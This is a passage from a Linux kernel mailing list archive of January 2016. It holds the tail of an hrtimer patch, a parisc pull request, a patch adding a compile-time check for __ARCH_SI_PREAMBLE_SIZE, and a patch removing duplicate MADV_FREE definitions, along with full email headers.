>  remove_hrtimer(struct hrtimer *timer, struct hrtimer_clock_base *base, bool restart)
>  {
>  	if (hrtimer_is_queued(timer)) {
> -		unsigned long state = timer->state;
> +		u8 state = timer->state;
>  		int reprogram;
>  
>  		/*
> @@ -954,6 +954,22 @@ remove_hrtimer(struct hrtimer *timer, st
>  	return 0;
>  }
>  
> +static inline ktime_t hrtimer_update_lowres(struct hrtimer *timer, ktime_t tim,
> +					    const enum hrtimer_mode mode)
> +{
> +#ifdef CONFIG_TIME_LOW_RES
> +	/*
> +	 * CONFIG_TIME_LOW_RES indicates that the system has no way to return
> +	 * granular time values. For relative timers we add hrtimer_resolution
> +	 * (i.e. one jiffie) to prevent short timeouts.
> +	 */
> +	timer->is_rel = mode & HRTIMER_MODE_REL;
> +	if (timer->is_rel)
> +		tim = ktime_add_safe(tim, ktime_set(0, hrtimer_resolution));
> +#endif
> +	return tim;
> +}
> +
>  /**
>   * hrtimer_start_range_ns - (re)start an hrtimer on the current CPU
>   * @timer:	the timer to be added
> @@ -974,19 +990,10 @@ void hrtimer_start_range_ns(struct hrtim
>  	/* Remove an active timer from the queue: */
>  	remove_hrtimer(timer, base, true);
>  
> -	if (mode & HRTIMER_MODE_REL) {
> +	if (mode & HRTIMER_MODE_REL)
>  		tim = ktime_add_safe(tim, base->get_time());
> -		/*
> -		 * CONFIG_TIME_LOW_RES is a temporary way for architectures
> -		 * to signal that they simply return xtime in
> -		 * do_gettimeoffset(). In this case we want to round up by
> -		 * resolution when starting a relative timer, to avoid short
> -		 * timeouts. This will go away with the GTOD framework.
> -		 */
> -#ifdef CONFIG_TIME_LOW_RES
> -		tim = ktime_add_safe(tim, ktime_set(0, hrtimer_resolution));
> -#endif
> -	}
> +
> +	tim = hrtimer_update_lowres(timer, tim, mode);
>  
>  	hrtimer_set_expires_range_ns(timer, tim, delta_ns);
>  
> @@ -1074,19 +1081,23 @@ EXPORT_SYMBOL_GPL(hrtimer_cancel);
>  /**
>   * hrtimer_get_remaining - get remaining time for the timer
>   * @timer:	the timer to read
> + * @adjust:	adjust relative timers when CONFIG_TIME_LOW_RES=y
>   */
> -ktime_t hrtimer_get_remaining(const struct hrtimer *timer)
> +ktime_t __hrtimer_get_remaining(const struct hrtimer *timer, bool adjust)
>  {
>  	unsigned long flags;
>  	ktime_t rem;
>  
>  	lock_hrtimer_base(timer, &flags);
> -	rem = hrtimer_expires_remaining(timer);
> +	if (IS_ENABLED(CONFIG_TIME_LOW_RES) && adjust)
> +		rem = hrtimer_expires_remaining_adjusted(timer);
> +	else
> +		rem = hrtimer_expires_remaining(timer);
>  	unlock_hrtimer_base(timer, &flags);
>  
>  	return rem;
>  }
> -EXPORT_SYMBOL_GPL(hrtimer_get_remaining);
> +EXPORT_SYMBOL_GPL(__hrtimer_get_remaining);
>  
>  #ifdef CONFIG_NO_HZ_COMMON
>  /**
> @@ -1220,6 +1231,14 @@ static void __run_hrtimer(struct hrtimer
>  	fn = timer->function;
>  
>  	/*
> +	 * Clear the 'is relative' flag for the TIME_LOW_RES case. If the
> +	 * timer is restarted with a period then it becomes an absolute
> +	 * timer. If its not restarted it does not matter.
> +	 */
> +	if (IS_ENABLED(CONFIG_TIME_LOW_RES))
> +		timer->is_rel = false;
> +
> +	/*
>  	 * Because we run timers from hardirq context, there is no chance
>  	 * they get migrated to another cpu, therefore its safe to unlock
>  	 * the timer base.
> --- a/kernel/time/timer_list.c
> +++ b/kernel/time/timer_list.c
> @@ -69,7 +69,7 @@ print_timer(struct seq_file *m, struct h
>  	print_name_offset(m, taddr);
>  	SEQ_printf(m, ", ");
>  	print_name_offset(m, timer->function);
> -	SEQ_printf(m, ", S:%02lx", timer->state);
> +	SEQ_printf(m, ", S:%02x", timer->state);
>  #ifdef CONFIG_TIMER_STATS
>  	SEQ_printf(m, ", ");
>  	print_name_offset(m, timer->start_site);
> 
> 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [GIT PULL] parisc architecture updates for v4.5
Date: Sat, 16 Jan 2016 22:45:00 +0100
Lines: 36
Approved: news@gmane.org
Message-ID: <20160116214500.GA17553@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1452980743 7201 80.91.229.3 (16 Jan 2016 21:45:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 16 Jan 2016 21:45:43 +0000 (UTC)
To: Linus Torvalds <torvalds@linux-foundation.org>,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Jan 16 22:45:28 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1aKYf1-00076G-MC
	for glk-linux-kernel-3@plane.gmane.org; Sat, 16 Jan 2016 22:45:28 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752902AbcAPVpR (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Sat, 16 Jan 2016 16:45:17 -0500
Original-Received: from mout.gmx.net ([212.227.17.21]:57591 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752751AbcAPVpO (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Sat, 16 Jan 2016 16:45:14 -0500
Original-Received: from p100.box ([92.203.4.34]) by mail.gmx.com (mrgmx102) with
 ESMTPSA (Nemesis) id 0MOkQc-1aGhJE0dZ0-0063Ty; Sat, 16 Jan 2016 22:45:06
 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:1fWK+tUzfn3q/la1wf1kjC1Mm2aSY8Lsv+nJWCFEG8yxdC9ErQa
 jEh9X5uAmWTK6qKb8uDonv0olYHwdCIQM16Qi2Ys++3r7PWWE88ZtoDVa7GfzSFOvyZp0jD
 Pjt7jXXKJEfLOCrIkIW+NfmFwwNgea6l6fYpo6nFHtWyrdEWFtPEdt7u4YL6wm6u1TQxdTO
 ux/RRtKUD7EJTjM6Ce7rw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:G4k9pPMr9+w=:Td+bZHaivVqaUF9/DUjhfl
 Gq5/BbvKhD0ZJciWZhcqbgxLxFRN70U/Vri+/4b7g4CfesYX48JN1Mq5TgFtDgjfa4x5FndXA
 G3dnFKpOyfKh1+HZrc+wvU6rbweQPwLVPmYmFUuBpkcGDxAbC4Nw7iVFvYkBavy2GCvUa5Is2
 a+DRXQoKPNOpLcyWvLSsEdIju9U+B1Ax1df25DRzGOCEcqI1+Au3erLOF5aJxSPxifQR+yRx3
 C1JVBYqBBO97F0L3D63w1mZhViIsKbN+XPz6uiEZOpHd+dMFDxmqWojgI5xY9MZjwu1bIiEc6
 uJAkq5KsWFMeMdlWthQwOXrhLIG+c25k186rZpfHkGhddX4Hv2JBGFbiiDQOeZa5dcRORo+ni
 1a9aR9hmoy6IP9PwfQCkIPC9KH7N+ow+czPCIbdIP/vB6Ffm0cLoL+7kOk4c71CE+QS4giFOU
 Q1K3wUY7ydPX9yMF/hvIxaIb23UyeSxCv67ehWi3WuWdfpYZxwt1DKlrnHWcVqZutKx5Pjq91
 ox640dmRSb2SIRMrTK9rag1S3vSHcympPHRhL1rL5xAeQS3F7CB2IXLZf8T4a4w8VS6knd7Mn
 RdjSfzfScCrR7DYlVIVqayyjv+bgRVUKVJpYeipfx1J05mJoCRp2uBc7zHaqtH3tSItKzZ7Vy
 gMyqaQIWT24nWmDnZ97IWW5Vvue6OBml8eQFZPn7/E9Oq1+L6lZMvkEMhEa+g20WtXyPuyYPh
 5nT8dqMpBvTZnDeVMpmAtQRgi/+6UvWA2P+jvfTiIaNbtmDkUs1Ick5n6tM=
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2128548 gmane.linux.ports.parisc:26416
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2128548>

Hi Linus,

please pull the patches for the parisc architecture for v4.5 from:

  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-4.5-1

This patchset includes two major fixes which are both scheduled for stable:
First, __ARCH_SI_PREAMBLE_SIZE was defined with a wrong value.
Second, huge page pte and TLB changes needed protection with a spinlock.
Other than that there are just some trivial optimizations and cleanups.

Thanks,
Helge

----------------------------------------------------------------
Helge Deller (6):
      parisc: Initialize PCI bridge cache line and default latency
      parisc: Reduce overhead of parisc_requires_coherency()
      parisc: Fix __ARCH_SI_PREAMBLE_SIZE
      parisc: Drop parisc-specific NSIGTRAP define
      parisc: Imporove debug info about space registers and TLB configuration
      parisc: Protect huge page pte changes with spinlocks

 arch/parisc/include/asm/hugetlb.h      | 20 +++---------
 arch/parisc/include/asm/pci.h          |  1 +
 arch/parisc/include/asm/pdc.h          |  2 +-
 arch/parisc/include/asm/processor.h    | 17 +++++-----
 arch/parisc/include/uapi/asm/siginfo.h |  7 ++--
 arch/parisc/kernel/cache.c             | 26 ++++++++++++---
 arch/parisc/kernel/pci.c               | 26 +++++++++++++++
 arch/parisc/kernel/processor.c         | 10 +++++-
 arch/parisc/mm/hugetlbpage.c           | 60 +++++++++++++++++++++++++++-------
 drivers/parisc/dino.c                  |  4 ++-
 drivers/parisc/lba_pci.c               |  4 ++-
 11 files changed, 129 insertions(+), 48 deletions(-)


From - Thu Nov 08 21:38:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH] Add compile-time check for __ARCH_SI_PREAMBLE_SIZE
Date: Sun, 17 Jan 2016 22:00:46 +0100
Lines: 46
Approved: news@gmane.org
Message-ID: <20160117210046.GA11472@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1453064474 13799 80.91.229.3 (17 Jan 2016 21:01:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 17 Jan 2016 21:01:14 +0000 (UTC)
Cc: Stephen Rothwell <sfr@canb.auug.org.au>,
	Michael Ellerman <mpe@ellerman.id.au>
To: Linus Torvalds <torvalds@linux-foundation.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jan 17 22:01:07 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aKuRe-0002aS-9F
	for glpp-linux-parisc@plane.gmane.org; Sun, 17 Jan 2016 22:01:06 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752600AbcAQVBF (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 17 Jan 2016 16:01:05 -0500
Original-Received: from mout.gmx.net ([212.227.17.21]:64446 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752554AbcAQVBE (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 17 Jan 2016 16:01:04 -0500
Original-Received: from ls3530.box ([92.203.8.207]) by mail.gmx.com (mrgmx103) with
 ESMTPSA (Nemesis) id 0MGRhs-1aPMQx3Cs4-00DEbo; Sun, 17 Jan 2016 22:00:55
 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:JQKwnbDSHwD5VkkTJZm0pxdbcDhTlpaOH25RZ3mYbu2ujkSwO7N
 A4ku4729j+uDpZPmM1y11xAo5o0wDKuTYx8DmEbaaVZrTFwanOdnGAyYCzC9Eex67+91EE/
 vRyKU8ZAgUUYUM6VIAC+pqSj8f9JJtCNOugX69pwlpt4VPxA9uMn9pHRWpeAhRMuO4irfnX
 qN+tFhqxnOYkuyi4lLj5Q==
X-UI-Out-Filterresults: notjunk:1;V01:K0:zbqBTUEdpg8=:gvDHZ973RNE8pj6RAOuVl0
 RjfpKGhhA8YE3vBXIPbYOnkeOEfTdJhm4Tm7hZKdpOITzt0Z5oCuE0Rcv+j2i8NSSTb4sPVWB
 kckRWP9xMuaA8Wln9voiUcC6/ZRJIGK9XXpdmbiMpniHICIzs7vbLYoP5PkVtpamG2Epmior8
 n22yI489sf1nmb64Lcl44LUT4dUQIAKPTxQCMXl6cY2YpX+FCPBwHWmSBsQHyPu2ujkhQG/o7
 AoJFQBkgSHbDSMmqjXDNe8zxuSZJVjx3Ij3YwnRTIOyw7GVawlQ7EJzGjP9/Pv15FekFWr6oG
 397bgy2ErhuaFTKtzv3tXrCbw+6RHHYWY0M9i11226UU0Kv1YlwBJT1XXw+BGAuLWeJFvpS2B
 pDAo/sQoZnMQiO94WVZQ+WegTa2IdrPE+T3AxckoTY1ugzsmIYkl4vY2Gm80X5aLviHkO0eyu
 stYYFn2s8WW6v1QphHVIQdeIAtlCAYq28Np90Qp8y/BJFx7NtXd5XDGb7w7CHkhW25OgvgNNR
 AEHCDrcGuB3SN/6VF6ia70tqA56dm1yDL8/D2Jcen99HFvVgWNtEx9vuhenWYRGnTz2by0/Xs
 JLRJF2ZJty2BfX6WijrofB+K4oC/R5SbAj2mkbqPD8uXh1BfXJZcfYw0+xgmJrx/dSm4Qj4Oi
 VaUsjjIcXsCscCFaHdV0Q18Cmo3LB1cYohMoKM1hswT8QRS9X1aS2kMxoPvPW3Bh1u+BtTQ5w
 ahkF9pJfAHuucx67TlEEMC15JwFDWI/frH4qB7ohtBC/WnllF2GtMNtO7mk=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26417 gmane.linux.kernel:2128680
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26417>

The value of __ARCH_SI_PREAMBLE_SIZE defines the size (including padding) of
the part of the struct siginfo that is before the union, and it is then used to
calculate the needed padding (SI_PAD_SIZE) to make the size of struct siginfo
equal to 128 (SI_MAX_SIZE) bytes.

Depending on the target architecture and word width it equals to either
3 or 4 times sizeof int.

Since the very beginning we had __ARCH_SI_PREAMBLE_SIZE wrong on the parisc
architecture for the 64bit kernel build. It's even more frustrating, because it
can easily be checked at compile time if the value was defined correctly.

This patch adds such a check for the correctness of __ARCH_SI_PREAMBLE_SIZE in
the hope that it will prevent existing and future architectures from running
into the same problem.

I refrained from replacing __ARCH_SI_PREAMBLE_SIZE by offsetof() in
copy_siginfo() in include/asm-generic/siginfo.h, because a) it doesn't make any
difference and b) it's used in the Documentation/kmemcheck.txt example.

I ran this patch through the 0-DAY kernel test infrastructure and only the
parisc architecture triggered as expected. That means that this patch should be
OK for all major architectures.
 
Signed-off-by: Helge Deller <deller@gmx.de>
 
diff --git a/kernel/signal.c b/kernel/signal.c
index f3f1f7a..1ccd218 100644
--- a/kernel/signal.c
+++ b/kernel/signal.c
@@ -3579,6 +3579,10 @@ __weak const char *arch_vma_name(struct vm_area_struct *vma)
 
 void __init signals_init(void)
 {
+	/* If this check fails, the __ARCH_SI_PREAMBLE_SIZE value is wrong! */
+	BUILD_BUG_ON(__ARCH_SI_PREAMBLE_SIZE
+		!= offsetof(struct siginfo, _sifields._pad));
+
 	sigqueue_cachep = KMEM_CACHE(sigqueue, SLAB_PANIC);
 }
 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux@roeck-us.net>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.mips.general,gmane.linux.ports.parisc
Subject: [PATCH] mm: Remove duplicate definitions of MADV_FREE
Date: Sun, 17 Jan 2016 19:29:06 -0800
Lines: 76
Approved: news@gmane.org
Message-ID: <1453087746-4658-1-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1453087782 9437 80.91.229.3 (18 Jan 2016 03:29:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 18 Jan 2016 03:29:42 +0000 (UTC)
Cc: Richard Henderson <rth@twiddle.net>,
	Ralf Baechle <ralf@linux-mips.org>,
	Helge Deller <deller@gmx.de>, Chris Zankel <chris@zankel.net>,
	linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linux-xtensa@linux-xtensa.org, Guenter Roeck <linux@roeck-us.net>,
	Chen Gang <gang.chen.5i5j@gmail.com>,
	Minchan Kim <minchan@kernel.org>
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Jan 18 04:29:32 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1aL0VW-0001L0-7a
	for glk-linux-kernel-3@plane.gmane.org; Mon, 18 Jan 2016 04:29:30 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753913AbcARD3T (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Sun, 17 Jan 2016 22:29:19 -0500
Original-Received: from bh-25.webhostbox.net ([208.91.199.152]:41231 "EHLO
	bh-25.webhostbox.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753580AbcARD3L (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Sun, 17 Jan 2016 22:29:11 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=roeck-us.net; s=default; h=Message-Id:Date:Subject:Cc:To:From;
	bh=5+wE5qUMdOTGV5SCN/5paJkoCtJdHsZCRsYHXwLdxoQ=; b=aTE8IjmAeO4BGSRROaqIkzQxDO
	wQSQPj+p38nBtMAhTSHe0GzWlPvKgovsQpmHgtKri7diUxxVsqZNxXJotWmfCzaItnBQwCje2QAfg
	PjWm54axsADvQ+ZATPNh7TmdQbXkFfYKNd5Tn8TfYIUVoYwNDH9UXsHWUVUwKUVX8xhCQlEo1/Zud
	CFAUTEN6ORriaI9nunAhmPfgyE/L+26euRUkPPohg2w+rZrSdmUJbQNPLZRW/lHgNGBq1f3fIogKb
	fzpI0sZ0XKlYSQI93nzl9qCrkBQa0ziQ08JBoctihP6kYmcilC8ko2YnzEDvSFOzjVRrmoXBG1Kjc
	dtpoI4IQ==;
Original-Received: from 108-223-40-66.lightspeed.sntcca.sbcglobal.net ([108.223.40.66]:36222 helo=localhost)
	by bh-25.webhostbox.net with esmtpa (Exim 4.86)
	(envelope-from <linux@roeck-us.net>)
	id 1aL0VY-0020Ef-CT; Mon, 18 Jan 2016 03:29:33 +0000
X-Mailer: git-send-email 2.1.4
X-Authenticated_sender: guenter@roeck-us.net
X-OutGoing-Spam-Status: No, score=-1.0
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - bh-25.webhostbox.net
X-AntiAbuse: Original Domain - vger.kernel.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - roeck-us.net
X-Get-Message-Sender-Via: bh-25.webhostbox.net: authenticated_id: guenter@roeck-us.net
X-Authenticated-Sender: bh-25.webhostbox.net: guenter@roeck-us.net
X-Source: 
X-Source-Args: 
X-Source-Dir: 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2128760 gmane.linux.ports.alpha:3456 gmane.linux.ports.mips.general:52339 gmane.linux.ports.parisc:26418
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2128760>

Commits 21f55b018ba5 ("arch/*/include/uapi/asm/mman.h: : let MADV_FREE
have same value for all architectures") and ef58978f1eaa ("mm: define
MADV_FREE for some arches") both defined MADV_FREE, but did not use the
same values. This results in build errors such as

./arch/alpha/include/uapi/asm/mman.h:53:0: error: "MADV_FREE" redefined
./arch/alpha/include/uapi/asm/mman.h:50:0: note:
	this is the location of the previous definition

for the affected architectures.

Fixes: 21f55b018ba5 ("arch/*/include/uapi/asm/mman.h: : let MADV_FREE have same value for all architectures")
Fixes: ef58978f1eaa ("mm: define MADV_FREE for some arches")
Cc: Chen Gang <gang.chen.5i5j@gmail.com>
Cc: Minchan Kim <minchan@kernel.org>
Cc: Andrew Morton <akpm@linux-foundation.org>
Signed-off-by: Guenter Roeck <linux@roeck-us.net>
---
 arch/alpha/include/uapi/asm/mman.h  | 1 -
 arch/mips/include/uapi/asm/mman.h   | 1 -
 arch/parisc/include/uapi/asm/mman.h | 1 -
 arch/xtensa/include/uapi/asm/mman.h | 1 -
 4 files changed, 4 deletions(-)

diff --git a/arch/alpha/include/uapi/asm/mman.h b/arch/alpha/include/uapi/asm/mman.h
index ab336c06153e..fec1947b8dbc 100644
--- a/arch/alpha/include/uapi/asm/mman.h
+++ b/arch/alpha/include/uapi/asm/mman.h
@@ -47,7 +47,6 @@
 #define MADV_WILLNEED	3		/* will need these pages */
 #define	MADV_SPACEAVAIL	5		/* ensure resources are available */
 #define MADV_DONTNEED	6		/* don't need these pages */
-#define MADV_FREE	7		/* free pages only if memory pressure */
 
 /* common/generic parameters */
 #define MADV_FREE	8		/* free pages only if memory pressure */
diff --git a/arch/mips/include/uapi/asm/mman.h b/arch/mips/include/uapi/asm/mman.h
index b0ebe59f73fd..ccdcfcbb24aa 100644
--- a/arch/mips/include/uapi/asm/mman.h
+++ b/arch/mips/include/uapi/asm/mman.h
@@ -73,7 +73,6 @@
 #define MADV_SEQUENTIAL 2		/* expect sequential page references */
 #define MADV_WILLNEED	3		/* will need these pages */
 #define MADV_DONTNEED	4		/* don't need these pages */
-#define MADV_FREE	5		/* free pages only if memory pressure */
 
 /* common parameters: try to keep these consistent across architectures */
 #define MADV_FREE	8		/* free pages only if memory pressure */
diff --git a/arch/parisc/include/uapi/asm/mman.h b/arch/parisc/include/uapi/asm/mman.h
index cf830d465f75..f3db7d8eb0c2 100644
--- a/arch/parisc/include/uapi/asm/mman.h
+++ b/arch/parisc/include/uapi/asm/mman.h
@@ -43,7 +43,6 @@
 #define MADV_SPACEAVAIL 5               /* insure that resources are reserved */
 #define MADV_VPS_PURGE  6               /* Purge pages from VM page cache */
 #define MADV_VPS_INHERIT 7              /* Inherit parents page size */
-#define MADV_FREE	8		/* free pages only if memory pressure */
 
 /* common/generic parameters */
 #define MADV_FREE	8		/* free pages only if memory pressure */
diff --git a/arch/xtensa/include/uapi/asm/mman.h b/arch/xtensa/include/uapi/asm/mman.h
index d030594ed22b..9e079d49e7f2 100644
--- a/arch/xtensa/include/uapi/asm/mman.h
+++ b/arch/xtensa/include/uapi/asm/mman.h
@@ -86,7 +86,6 @@
 #define MADV_SEQUENTIAL	2		/* expect sequential page references */
 #define MADV_WILLNEED	3		/* will need these pages */
 #define MADV_DONTNEED	4		/* don't need these pages */
-#define MADV_FREE	5		/* free pages only if memory pressure */
 
 /* common parameters: try to keep these consistent across architectures */
 #define MADV_FREE	8		/* free pages only if memory pressure */
-- 
2.1.4



From - Thu Nov 08 21:38:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.mips.general,gmane.linux.ports.parisc
Subject: Re: [PATCH] mm: Remove duplicate definitions of MADV_FREE
Date: Mon, 18 Jan 2016 09:23:49 +0100
Lines: 49
Approved: news@gmane.org
Message-ID: <569CA115.3010305@gmx.de>
References: <1453087746-4658-1-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1453105522 1388 80.91.229.3 (18 Jan 2016 08:25:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 18 Jan 2016 08:25:22 +0000 (UTC)
Cc: Richard Henderson <rth@twiddle.net>,
	Ralf Baechle <ralf@linux-mips.org>,
	Chris Zankel <chris@zankel.net>, linux-alpha@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, Chen Gang <gang.chen.5i5j@gmail.com>,
	Minchan Kim <minchan@kernel.org>
To: Guenter Roeck <linux@roeck-us.net>,
	Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Jan 18 09:25:15 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1aL57O-0007kl-9o
	for glk-linux-kernel-3@plane.gmane.org; Mon, 18 Jan 2016 09:24:54 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754114AbcARIYs (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Mon, 18 Jan 2016 03:24:48 -0500
Original-Received: from mout.gmx.net ([212.227.17.22]:64819 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752899AbcARIYq (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Mon, 18 Jan 2016 03:24:46 -0500
Original-Received: from [10.95.162.180] ([155.56.40.73]) by mail.gmx.com (mrgmx101)
 with ESMTPSA (Nemesis) id 0MPYqL-1aGyMY3hxp-004ftD; Mon, 18 Jan 2016 09:23:52
 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <1453087746-4658-1-git-send-email-linux@roeck-us.net>
X-Provags-ID: V03:K0:i38AfTZjK41GkZKU2dmNITCEEFeHmZFoVic8caYJmCCSleXIOIW
 XdwwgsEdeRKfcIifoCXcj5uuEnQdvcEgtUr6RJAawGPXneWBNBSqCtSFbPBmjPJ4s7lcjRv
 ZpJjV9YWqUl3R4PMR6OfKAJ2cP9117TVJTS3hWGfh60ma4yUOdai9khpVQSPQp5DqJPuYV1
 QWZD/Gq7Q4xC/n3hvbyPw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:VSzWWqyIQu4=:sVP94BYMAYzx9FXYPNSWL7
 afXl5v2Hf8bfY9382flL9fkmCGV6ge8oBt9knfmm28t4UMSgJ5fVMOOG5NlGu5UpOZj5CaTYO
 EXVrcSmnbwecY2iqJy2+NLq26aHhQyajCcHcJKxOpFx18DsApfGPUbaO4zT6IGMoTyUB/UZ01
 Rzzgf1oLXNF/YL3GE78MVAko8PBBKWJxK10C+DoA839qNvOLtPJdJrW3E9Ng14gkroDGVSTfO
 RlzKAsTPtnAzpuiitaQquwVOFoHTG0/ZPtoNN/qPs9yuXe+D8HrDm0ulHNiLghQtdbK+rtEIx
 XcQQdybS0Z5trLqGxEjl1dukufzzVfYriL6DRXtGTvQ88LX6h0MrkiAYEti4yNsqiREpJrChp
 1Sjl3YBvCa4CeNYOPlYgch5tNq33/vKzJQkSLG/Kil9f/dyFLh3LUv6sNOPSG9UZwhrotmirP
 0jBK3fGCLWdCt8kCdSBmz7Hd9L9V5iFbazZkfHv9wK7YLetMoYKsxAfuo9Rp4oelHycwuh0GZ
 rkm7FzTrDYslFAATXIPCNQqLOihRizTzrv7N4uSxQxH6CNDOQbn7WfQTLRSWz1DJpfOFBVTgG
 DJYLIF5NRU9ieMPvx8j9Z1hvMZvaw/YEHp8pfxCGnpVOGo6plWVGrIu5ds5oDrLdS/wdq3LcZ
 6KPNS5dnqgELWqW/tJOHijr3mOHbCsTG5+unw3v/I+8t158/HEq6lcEHDiYCzvcY3AjY6me1J
 IhQ/LxNRlUTv9cvxXcUTHi9WQWg7dJiVG5Ui/BirLQkEdLhmg5W6DsR7dXZuIv5MP4Dr7J6P 
